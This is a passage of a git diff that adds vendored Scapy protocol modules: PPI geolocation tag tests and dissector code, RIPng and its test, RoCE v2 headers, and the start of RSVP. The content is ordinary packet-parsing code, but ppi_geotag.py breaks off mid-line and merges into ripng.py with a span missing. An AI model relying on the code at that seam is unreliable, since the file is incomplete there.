b"\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x00D\x9d?\x84\xfc\xce\x1173u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x04\x00\x00\x00\x80\xf0\xfa\x02VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x02\x00\x00\x00\x80\x85\xb5\rDOT-Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.7" +assert a.headers[5].Antnoise == -110 +assert isinstance(a[Dot11].payload, Dot11Beacon) + += Pkt_10_8 +a = Pkt_10_8() +a.show() +assert raw(a) == b'\x00\x00\xc0\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xe2o=\x84\xd4\x89\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf2\x1bSk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x802u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf8\xffdk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.8' +assert isinstance(a.headers[7].payload, PPI_Geotag_Sensor) +assert a.headers[7].ScaleFactor == -9 +assert a.headers[7].pfh_length == 19 + += Pkt_10_9 +a = Pkt_10_9() +assert raw(a) == b'\x00\x00\r\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x02\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.9' +assert a.headers[2].DescString == b'AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += Pkt_10_10 +a = Pkt_10_10() +assert raw(a) == b'\x00\x00M\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x03\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x043u<\x00\x02\x00<\x00C\x00\x020\x00\x00\x00\x00\x10\x00\x00\x00\x80\xecOk JkTransmitter Position\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\nTest-10.10' +assert a.headers[0].GPSTime == 1288720719 +assert a.headers[4].ModelName == b'8dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +assert isinstance(a.headers[3].payload, PPI_Geotag_Vector) +assert a.headers[3].pfh_type == 30003 +assert a.headers[3].Off_Y == 40.0 +assert a.headers[3].Err_Off == 2.0 + += All-in-one packet +# Extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\all-ppi-geo-fields.py +a = hex_bytes(b'00008a02690000003275900002029000ff03007002000000368999839cb5323fa0584b6b406e4a6b4f51d04cffffffff40420f0080841e00005ed0b2416c6c4669656c64734750535061636b6574000000000000000000000000000004030201414243442e2e2e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003375900002029000ff000370ff0000000800000080969800002d3101e09da30110f9496b20204a6b0055496b80c3c90128604d6b46756c6c7946696c6c65644f7574566563746f720000000000000000000000000403020141424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034757f0002027f007f0000700100ff4014596b8056686bc098776b00db866b50954a6b4d616465557056656c6f63697479730000000000000000000000000000000000010203044142434400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003575bb000102bb003f00007c0200000009000e2707002d310160f59000b2a13030303030310000000000000000000000000000000000000000000000000000534132342d3132302d39000000000000000000000000000000000000000000004c656674416e74656e6e610000000000000000000000000000000000000000000102030441424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001400000000000000000000000000850900000000a19280000000ffffffffffff0001020304050001020901040000000000000000000064000000000b546573742d53656e736f72') +pkt = PPI(a) +assert isinstance(pkt.headers[0].payload, PPI_Geotag_GPS) +assert pkt.headers[0].present == 1879049215 +assert isinstance(pkt.headers[1].payload, PPI_Geotag_Vector) +assert pkt.headers[1].present == 1879245055 +assert isinstance(pkt.headers[3].payload, PPI_Geotag_Antenna) +assert repr(pkt.headers[3].present) == "" +assert isinstance(pkt.headers[4].payload, PPI_Dot11Common) +assert isinstance(pkt[Dot11][Dot11Beacon].payload, Dot11Elt) +assert pkt[Dot11Elt].info == b'Test-Sensor' +assert pkt[Dot11Elt].ID == 0 + += All-wrong-data packet +pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=-181, Longitude=181, GPSTime=1288720719, FractionalTime=-1, ept=100, eph=-1, epv=1000, Altitude=-999999, Altitude_g=999999), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags="DefinesForward+RelativeToEarth", VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-allwrong") +pkt = PPI(raw(pkt)) +pkt.show() +assert pkt.headers[0].Latitude == -180.0 +assert pkt.headers[0].Longitude == 180.0 +assert pkt.headers[0].Altitude == -180000.0 +assert pkt.headers[0].Altitude_g == 180000.0 +assert pkt.headers[0].epv < 1000 +assert pkt.headers[0].ept < 5 +assert pkt.headers[0].FractionalTime == 0.0 diff --git a/libs/scapy/contrib/ppi_geotag.py b/libs/scapy/contrib/ppi_geotag.py new file mode 100755 index 0000000..937a3e5 --- /dev/null +++ b/libs/scapy/contrib/ppi_geotag.py @@ -0,0 +1,467 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# author: + +# scapy.contrib.description = CACE Per-Packet Information (PPI) Geolocation +# scapy.contrib.status = loads + + +""" +PPI-GEOLOCATION tags +""" + +from __future__ import absolute_import +import functools +import struct + +from scapy.base_classes import Packet_metaclass +from scapy.data import PPI_GPS, PPI_VECTOR, PPI_SENSOR, PPI_ANTENNA +from scapy.packet import bind_layers +from scapy.fields import ByteField, ConditionalField, Field, FlagsField, \ + LEIntField, LEShortEnumField, LEShortField, StrFixedLenField, \ + UTCTimeField, XLEIntField, SignedByteField, XLEShortField +from scapy.layers.ppi import PPI_Hdr, PPI_Element +from scapy.error import warning +import scapy.modules.six as six +from scapy.modules.six.moves import range + +CURR_GEOTAG_VER = 2 # Major revision of specification + + +# The FixedX_Y Fields are used to store fixed point numbers in a variety of +# fields in the GEOLOCATION-TAGS specification + + +class _RMMLEIntField(LEIntField): + __slots__ = ["min_i2h", "max_i2h", "lambda_i2h", + "min_h2i", "max_h2i", "lambda_h2i", + "rname", "ffmt"] + + def __init__(self, name, default, _min, _max, _min2, _max2, _lmb, _lmb2, + fmt, *args, **kargs): + LEIntField.__init__(self, name, default, *args, **kargs) + self.min_i2h = _min + self.max_i2h = _max + self.lambda_i2h = _lmb + self.min_h2i = _min2 + self.max_h2i = _max2 + self.lambda_h2i = _lmb2 + self.rname = self.__class__.__name__ + self.ffmt = fmt + + def i2h(self, pkt, x): + if x is not None: + if (x < self.min_i2h): + warning("%s: Internal value too negative: %d", self.rname, x) + x = int(round(self.min_i2h)) + elif (x > self.max_i2h): + warning("%s: Internal value too positive: %d", self.rname, x) + x = self.max_i2h + x = self.lambda_i2h(x) + return x + + def h2i(self, pkt, x): + if x is not None: + if (x < self.min_h2i): + warning("%s: Input value too negative: %.10f", self.rname, x) + x = int(round(self.min_h2i)) + elif (x >= self.max_h2i): + warning("%s: Input value too positive: %.10f", self.rname, x) + x = int(round(self.max_h2i)) + x = self.lambda_h2i(x) + return x + + def i2m(self, pkt, x): + """Convert internal value to machine value""" + if x is None: + # Try to return zero if undefined + x = self.h2i(pkt, 0) + return x + + def i2repr(self, pkt, x): + if x is None: + y = 0 + else: + y = self.i2h(pkt, x) + return ("%" + self.ffmt) % (y) + + +class Fixed3_6Field(_RMMLEIntField): + def __init__(self, name, default, *args, **kargs): + _RMMLEIntField.__init__(self, + name, default, + 0, + 999999999, + -0.5e-6, + 999.9999995, + lambda x: x * 1e-6, + lambda x: int(round(x * 1e6)), + "3.6f") + + +class Fixed3_7Field(_RMMLEIntField): + def __init__(self, name, default, *args, **kargs): + _RMMLEIntField.__init__(self, + name, default, + 0, + 3600000000, + -180.00000005, + 180.00000005, + lambda x: (x - 1800000000) * 1e-7, + lambda x: int(round((x + 180.0) * 1e7)), + "3.7f") + + +class Fixed6_4Field(_RMMLEIntField): + def __init__(self, name, default, *args, **kargs): + _RMMLEIntField.__init__(self, + name, default, + 0, + 3600000000, + -180000.00005, + 180000.00005, + lambda x: (x - 1800000000) * 1e-4, + lambda x: int(round((x + 180000.0) * 1e4)), + "6.4f") + +# The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns +# counter. +# The ept field is as well, + + +class NSCounter_Field(_RMMLEIntField): + def __init__(self, name, default): + _RMMLEIntField.__init__(self, + name, default, + 0, + 2**32, + 0, + (2**32 - 1) / 1e9, + lambda x: (x / 1e9), + lambda x: int(round(x * 1e9)), + "1.9f") + + +class LETimeField(UTCTimeField, LEIntField): + __slots__ = ["epoch", "delta", "strf"] + + def __init__(self, name, default, epoch=None, + strf="%a, %d %b %Y %H:%M:%S %z"): + LEIntField.__init__(self, name, default) + UTCTimeField.__init__(self, name, default, epoch=epoch, strf=strf) + + +class GPSTime_Field(LETimeField): + def __init__(self, name, default): + LETimeField.__init__(self, name, default, + strf="%a, %d %b %Y %H:%M:%S UTC") + + +class VectorFlags_Field(XLEIntField): + """Represents the VectorFlags field. Handles the RelativeTo:sub-field""" + _fwdstr = "DefinesForward" + _resmask = 0xfffffff8 + _relmask = 0x6 + _relnames = [ + "RelativeToForward", + "RelativeToEarth", + "RelativeToCurrent", + "RelativeToReserved", + ] + _relvals = [0x00, 0x02, 0x04, 0x06] + + def i2repr(self, pkt, x): + if x is None: + return str(x) + r = [] + if (x & 0x1): + r.append(self._fwdstr) + i = (x & self._relmask) >> 1 + r.append(self._relnames[i]) + i = x & self._resmask + if (i): + r.append("ReservedBits:%08X" % i) + sout = "+".join(r) + return sout + + def any2i(self, pkt, x): + if isinstance(x, str): + r = x.split("+") + y = 0 + for value in r: + if (value == self._fwdstr): + y |= 0x1 + elif (value in self._relnames): + i = self._relnames.index(value) + y &= (~self._relmask) + y |= self._relvals[i] + else: + # logging.warning("Unknown VectorFlags Arg: %s", value) + pass + else: + y = x + # print "any2i: %s --> %s" % (str(x), str(y)) + return y + + +class HCSIFlagsField(FlagsField): + """A FlagsField where each bit/flag turns a conditional field on or off. + + If the value is None when building a packet, i2m() will check the value of + every field in self.names. If the field's value is not None, the + corresponding flag will be set. + """ + + def i2m(self, pkt, val): + if val is None: + val = 0 + if (pkt): + for i, name in enumerate(self.names): + value = pkt.getfieldval(name) + if value is not None: + val |= 1 << i + return val + + +class HCSINullField(Field): + def __init__(self, name): + Field.__init__(self, name, None, '!') + + +def _hcsi_null_range(*args, **kwargs): + """Builds a list of _HCSINullField with numbered "Reserved" names. + + Takes the same arguments as the ``range`` built-in. + + :returns: list[HCSINullField] + """ + return [ + HCSINullField('Reserved{:02d}'.format(x)) + for x in range(*args, **kwargs) + ] + + +class HCSIDescField(StrFixedLenField): + def __init__(self, name, default): + StrFixedLenField.__init__(self, name, default, length=32) + + +class HCSIAppField(StrFixedLenField): + def __init__(self, name, default): + StrFixedLenField.__init__(self, name, default, length=60) + + +def _FlagsList(myfields): + flags = ["Reserved%02d" % i for i in range(32)] + for i, value in six.iteritems(myfields): + flags[i] = value + return flags + + +# Define all geolocation-tag flags lists +_hcsi_gps_flags = _FlagsList({ + 0: "No Fix Available", + 1: "GPS", + 2: "Differential GPS", + 3: "Pulse Per Second", + 4: "Real Time Kinematic", + 5: "Float Real Time Kinematic", + 6: "Estimated (Dead Reckoning)", + 7: "Manual Input", + 8: "Simulation", +}) + +_hcsi_vector_char_flags = _FlagsList({ + 0: "Antenna", + 1: "Direction of Travel", + 2: "Front of Vehicle", + 3: "Angle of Arrival", + 4: "Transmitter Position", + 8: "GPS Derived", + 9: "INS Derived", + 10: "Compass Derived", + 11: "Acclerometer Derived", + 12: "Human Derived", +}) + +_hcsi_antenna_flags = _FlagsList({ + 1: "Horizontal Polarization", + 2: "Vertical Polarization", + 3: "Circular Polarization Left", + 4: "Circular Polarization Right", + 16: "Electronically Steerable", + 17: "Mechanically Steerable", +}) + +# HCSI PPI Fields are similar to RadioTap. A mask field called "present" +# specifies if each field is present. All other fields are conditional. When +# dissecting a packet, each field is present if "present" has the corresponding +# bit set. +# +# When building a packet, if "present" is None, the mask is set to include +# every field that does not have a value of None. Otherwise, if the mask field +# is not None, only the fields specified by "present" will be added to the +# packet. +# +# To build each Packet type, build a list of the fields normally, excluding +# the present bitmask field. The code will then construct conditional +# versions of each field and add the present field. +# +# See GPS_Fields as an example. + +_COMMON_GEOTAG_HEADERS = [ + ByteField('geotag_ver', CURR_GEOTAG_VER), + ByteField('geotag_pad', 0), + LEShortField('geotag_len', None), +] + +_COMMON_GEOTAG_FOOTER = [ + HCSIDescField("DescString", None), + XLEIntField("AppId", None), + HCSIAppField("AppData", None), + HCSINullField("Extended"), +] + + +# Conditional test for all HCSI Fields +def _HCSITest(fname, fbit, pkt): + if pkt.present is None: + return pkt.getfieldval(fname) is not None + return pkt.present & fbit + + +class _Geotag_metaclass(Packet_metaclass): + def __new__(cls, name, bases, dct): + hcsi_fields = dct.get('hcsi_fields', []) + + if len(hcsi_fields) != 0: + hcsi_fields += _COMMON_GEOTAG_FOOTER + if len(hcsi_fields) not in (8, 16, 32): + raise TypeError( + 'hcsi_fields in {} was {} elements long, expected 8, 16 ' + 'or 32'.format(name, len(hcsi_fields))) + + names = [f.name for f in hcsi_fields] + + # Add the base fields + fields_desc = _COMMON_GEOTAG_HEADERS + [ + HCSIFlagsField('present', None, -len(names), names), + ] + + # Add conditional fields + for i, field in enumerate(hcsi_fields): + fields_desc.append(ConditionalField( + field, functools.partial( + _HCSITest, field.name, 1 << i))) + + dct['fields_desc'] = fields_desc + + x = super(_Geotag_metaclass, cls).__new__(cls, name, bases, dct) + return x + + +class HCSIPacket(six.with_metaclass(_Geotag_metaclass, PPI_Element)): + def post_build(self, p, pay): + if self.geotag_len is None: + sl_g = struct.pack('. + +# scapy.contrib.description = Routing Information Protocol next gen (RIPng) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField +from scapy.layers.inet import UDP + + +class RIPng(Packet): + name = "RIPng header" + fields_desc = [ + ByteEnumField("cmd", 1, {1: "req", 2: "resp"}), + ByteField("ver", 1), + ShortField("null", 0) + ] + + +class RIPngEntry(Packet): + name = "RIPng entry" + fields_desc = [ + IP6Field("prefix_or_nh", "::"), + ShortField("routetag", 0), + ByteField("prefixlen", 0), + ByteEnumField("metric", 1, {16: "Unreach", + 255: "next-hop entry"}) + ] + + +bind_layers(UDP, RIPng, sport=521, dport=521) +bind_layers(RIPng, RIPngEntry) +bind_layers(RIPngEntry, RIPngEntry) diff --git a/libs/scapy/contrib/ripng.uts b/libs/scapy/contrib/ripng.uts new file mode 100755 index 0000000..1a04f88 --- /dev/null +++ b/libs/scapy/contrib/ripng.uts @@ -0,0 +1,9 @@ ++ RIPng Contrib tests + += Basic RIPng build + +pkt = Ether()/IP()/UDP()/RIPng()/RIPngEntry(prefix_or_nh='8c07:9bc5:fdf6:996:117e:08c0:dd84:549e', metric=255)/RIPngEntry(prefix_or_nh='afb6:5b1b:c518:a147:312a:0c32:f40c:3771') +pkt = Ether(raw(pkt)) +assert RIPngEntry in pkt +assert pkt[RIPngEntry].prefix_or_nh == '8c07:9bc5:fdf6:996:117e:8c0:dd84:549e' +assert pkt[RIPngEntry].payload.prefix_or_nh == 'afb6:5b1b:c518:a147:312a:c32:f40c:3771' diff --git a/libs/scapy/contrib/roce.py b/libs/scapy/contrib/roce.py new file mode 100755 index 0000000..dbe00e7 --- /dev/null +++ b/libs/scapy/contrib/roce.py @@ -0,0 +1,204 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Haggai Eran +# This program is published under a GPLv2 license + +# scapy.contrib.description = RoCE v2 +# scapy.contrib.status = loads + +""" +RoCE: RDMA over Converged Ethernet +""" + +from scapy.packet import Packet, bind_layers, Raw +from scapy.fields import ByteEnumField, XShortField, \ + XLongField, BitField, FCSField +from scapy.layers.inet import IP, UDP +from scapy.compat import raw +from scapy.error import warning +from zlib import crc32 +import struct + +_transports = { + 'RC': 0x00, + 'UC': 0x20, + 'RD': 0x40, + 'UD': 0x60, +} + +_ops = { + 'SEND_FIRST': 0x00, + 'SEND_MIDDLE': 0x01, + 'SEND_LAST': 0x02, + 'SEND_LAST_WITH_IMMEDIATE': 0x03, + 'SEND_ONLY': 0x04, + 'SEND_ONLY_WITH_IMMEDIATE': 0x05, + 'RDMA_WRITE_FIRST': 0x06, + 'RDMA_WRITE_MIDDLE': 0x07, + 'RDMA_WRITE_LAST': 0x08, + 'RDMA_WRITE_LAST_WITH_IMMEDIATE': 0x09, + 'RDMA_WRITE_ONLY': 0x0a, + 'RDMA_WRITE_ONLY_WITH_IMMEDIATE': 0x0b, + 'RDMA_READ_REQUEST': 0x0c, + 'RDMA_READ_RESPONSE_FIRST': 0x0d, + 'RDMA_READ_RESPONSE_MIDDLE': 0x0e, + 'RDMA_READ_RESPONSE_LAST': 0x0f, + 'RDMA_READ_RESPONSE_ONLY': 0x10, + 'ACKNOWLEDGE': 0x11, + 'ATOMIC_ACKNOWLEDGE': 0x12, + 'COMPARE_SWAP': 0x13, + 'FETCH_ADD': 0x14, +} + + +CNP_OPCODE = 0x81 + + +def opcode(transport, op): + return (_transports[transport] + _ops[op], '{}_{}'.format(transport, op)) + + +_bth_opcodes = dict([ + opcode('RC', 'SEND_FIRST'), + opcode('RC', 'SEND_MIDDLE'), + opcode('RC', 'SEND_LAST'), + opcode('RC', 'SEND_LAST_WITH_IMMEDIATE'), + opcode('RC', 'SEND_ONLY'), + opcode('RC', 'SEND_ONLY_WITH_IMMEDIATE'), + opcode('RC', 'RDMA_WRITE_FIRST'), + opcode('RC', 'RDMA_WRITE_MIDDLE'), + opcode('RC', 'RDMA_WRITE_LAST'), + opcode('RC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), + opcode('RC', 'RDMA_WRITE_ONLY'), + opcode('RC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), + opcode('RC', 'RDMA_READ_REQUEST'), + opcode('RC', 'RDMA_READ_RESPONSE_FIRST'), + opcode('RC', 'RDMA_READ_RESPONSE_MIDDLE'), + opcode('RC', 'RDMA_READ_RESPONSE_LAST'), + opcode('RC', 'RDMA_READ_RESPONSE_ONLY'), + opcode('RC', 'ACKNOWLEDGE'), + opcode('RC', 'ATOMIC_ACKNOWLEDGE'), + opcode('RC', 'COMPARE_SWAP'), + opcode('RC', 'FETCH_ADD'), + + opcode('UC', 'SEND_FIRST'), + opcode('UC', 'SEND_MIDDLE'), + opcode('UC', 'SEND_LAST'), + opcode('UC', 'SEND_LAST_WITH_IMMEDIATE'), + opcode('UC', 'SEND_ONLY'), + opcode('UC', 'SEND_ONLY_WITH_IMMEDIATE'), + opcode('UC', 'RDMA_WRITE_FIRST'), + opcode('UC', 'RDMA_WRITE_MIDDLE'), + opcode('UC', 'RDMA_WRITE_LAST'), + opcode('UC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), + opcode('UC', 'RDMA_WRITE_ONLY'), + opcode('UC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), + + opcode('RD', 'SEND_FIRST'), + opcode('RD', 'SEND_MIDDLE'), + opcode('RD', 'SEND_LAST'), + opcode('RD', 'SEND_LAST_WITH_IMMEDIATE'), + opcode('RD', 'SEND_ONLY'), + opcode('RD', 'SEND_ONLY_WITH_IMMEDIATE'), + opcode('RD', 'RDMA_WRITE_FIRST'), + opcode('RD', 'RDMA_WRITE_MIDDLE'), + opcode('RD', 'RDMA_WRITE_LAST'), + opcode('RD', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), + opcode('RD', 'RDMA_WRITE_ONLY'), + opcode('RD', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), + opcode('RD', 'RDMA_READ_REQUEST'), + opcode('RD', 'RDMA_READ_RESPONSE_FIRST'), + opcode('RD', 'RDMA_READ_RESPONSE_MIDDLE'), + opcode('RD', 'RDMA_READ_RESPONSE_LAST'), + opcode('RD', 'RDMA_READ_RESPONSE_ONLY'), + opcode('RD', 'ACKNOWLEDGE'), + opcode('RD', 'ATOMIC_ACKNOWLEDGE'), + opcode('RD', 'COMPARE_SWAP'), + opcode('RD', 'FETCH_ADD'), + + opcode('UD', 'SEND_ONLY'), + opcode('UD', 'SEND_ONLY_WITH_IMMEDIATE'), + + (CNP_OPCODE, 'CNP'), +]) + + +class BTH(Packet): + name = "BTH" + fields_desc = [ + ByteEnumField("opcode", 0, _bth_opcodes), + BitField("solicited", 0, 1), + BitField("migreq", 0, 1), + BitField("padcount", 0, 2), + BitField("version", 0, 4), + XShortField("pkey", 0xffff), + BitField("fecn", 0, 1), + BitField("becn", 0, 1), + BitField("resv6", 0, 6), + BitField("dqpn", 0, 24), + BitField("ackreq", 0, 1), + BitField("resv7", 0, 7), + BitField("psn", 0, 24), + + FCSField("icrc", None, fmt="!I")] + + @staticmethod + def pack_icrc(icrc): + return struct.pack("!I", icrc & 0xffffffff)[::-1] + + def compute_icrc(self, p): + udp = self.underlayer + if udp is None or not isinstance(udp, UDP): + warning("Expecting UDP underlayer to compute checksum. Got %s.", + udp and udp.name) + return self.pack_icrc(0) + ip = udp.underlayer + if isinstance(ip, IP): + # pseudo-LRH / IP / UDP / BTH / payload + pshdr = Raw(b'\xff' * 8) / ip.copy() + pshdr.chksum = 0xffff + pshdr.ttl = 0xff + pshdr.tos = 0xff + pshdr[UDP].chksum = 0xffff + pshdr[BTH].fecn = 1 + pshdr[BTH].becn = 1 + pshdr[BTH].resv6 = 0xff + bth = pshdr[BTH].self_build() + payload = raw(pshdr[BTH].payload) + # add ICRC placeholder just to get the right IP.totlen and + # UDP.length + icrc_placeholder = b'\xff\xff\xff\xff' + pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder) + icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff + return self.pack_icrc(icrc) + else: + # TODO support IPv6 + warning("The underlayer protocol %s is not supported.", + ip and ip.name) + return self.pack_icrc(0) + + # RoCE packets end with ICRC - a 32-bit CRC of the packet payload and + # pseudo-header. Add the ICRC header if it is missing and calculate its + # value. + def post_build(self, p, pay): + p += pay + if self.icrc is None: + p = p[:-4] + self.compute_icrc(p) + return p + + +class CNPPadding(Packet): + name = "CNPPadding" + fields_desc = [ + XLongField("reserved1", 0), + XLongField("reserved2", 0), + ] + + +def cnp(dqpn): + return BTH(opcode=CNP_OPCODE, becn=1, dqpn=dqpn) / CNPPadding() + + +bind_layers(BTH, CNPPadding, opcode=CNP_OPCODE) + +bind_layers(UDP, BTH, dport=4791) diff --git a/libs/scapy/contrib/rsvp.py b/libs/scapy/contrib/rsvp.py new file mode 100755 index 0000000..467e079 --- /dev/null +++ b/libs/scapy/contrib/rsvp.py @@ -0,0 +1,225 @@ +# RSVP layer + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that 